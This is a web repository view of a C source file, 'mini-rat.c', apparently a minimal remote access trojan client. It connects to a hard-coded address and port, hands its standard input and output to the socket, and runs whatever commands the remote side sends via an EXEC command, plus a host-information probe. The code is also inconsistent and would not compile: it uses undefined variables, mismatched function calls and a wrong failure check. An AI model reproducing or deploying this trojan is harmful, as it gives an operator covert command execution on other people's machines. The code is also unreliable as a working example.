summaryrefslogtreecommitdiff
path: root/client/src/mini-rat.c
blob: 9ceaa889f2a7ec72f61a347d1fd2720aec804326 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*
 * Mini-RAT reference client
 * Copyright (C) 2023 Danny Holman <dholman@gymli.org>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <util.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>

int open_connection(const char *addr, int port) {
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(port);
        inet_pton(AF_INET, addr, &server.sin_addr);

        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1)
                return -1;
        return sock;
}

void run_exec(char **argv) {
        const char** cargv = (const char**)argv;
        pid_t pid = fork();
        if (pid == 0) {
                if (execvp(cargv[0], cargv) == -1) {
                        printf("ERROR IN EXEC\r\n");
                        fflush(stdout);
                }
                exit(0);
        } else if (pid > 0) {
                wait(NULL);
        } else {
                printf("ERROR IN FORK\r\n");
                fflush(stdout);
        }
}

void hostinfo(void) {
        char **argv = malloc(sizeof(char*) * 3);
        argv[0] = "uname";
        argv[1] = "-a";
        argv[2] = NULL;
        run_exec(argv);
        free(argv);
}

int handle_request(char *req) {
        char **argv = NULL;
        size_t count = str_split(&argv, req, " ");

        if (strcmp(tokens[0], "HOSTINFO") == 0) {
                hostinfo(socket);
        } else if (strncmp(tokens[0], "EXEC", 4) == 0) {
                char **argv = str_split(req, " ");
                run_exec(socket, &argv[1]);
        } else if (strncmp(tokens[0], "EXIT", 4) == 0) {
                return 1;
        }
        free(argv);
        return 0;
}

int main(int argc, char* argv[]) {
        int socket = 0;
        int retries = 0;
        while (retries < 3 && socket == 0) {
                socket = open_connection("127.0.0.1", 1122);
                if (socket == 0)
                        perror(argv[0]);
                retries++;
        }

        if (socket == 0)
                return -1;
     
        dup2(socket, STDOUT_FILENO);
        dup2(socket, STDERR_FILENO);
        dup2(socket, STDIN_FILENO);
        char buffer[4096];
        while (1) {
                if (recv(socket, buffer, 4096, 0) <= 0)
                        break;
                if (handle_request(buffer) == 1)
                        break;
                memset(buffer, 0, 4096);
        }
        return 0;
}